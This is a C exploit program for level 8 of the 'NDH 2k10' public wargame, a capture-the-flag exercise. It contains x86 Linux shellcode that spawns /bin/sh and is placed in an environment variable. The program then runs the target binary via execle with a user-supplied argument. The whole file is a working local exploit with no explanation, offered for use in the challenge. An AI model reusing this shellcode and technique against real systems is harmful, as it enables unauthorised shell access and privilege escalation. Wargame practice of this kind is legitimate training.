NDH 2k10 public wargame, level8, exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level8/level8";
char *env[] = {"SHLVL=0", "PWD=/tmp/level8", "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char* argv[])
{
 if(!execle(target_path, target_path, argv[1], (char *)0, env))
 {
  perror("Unable to execute target.");
  exit(1);
 }
}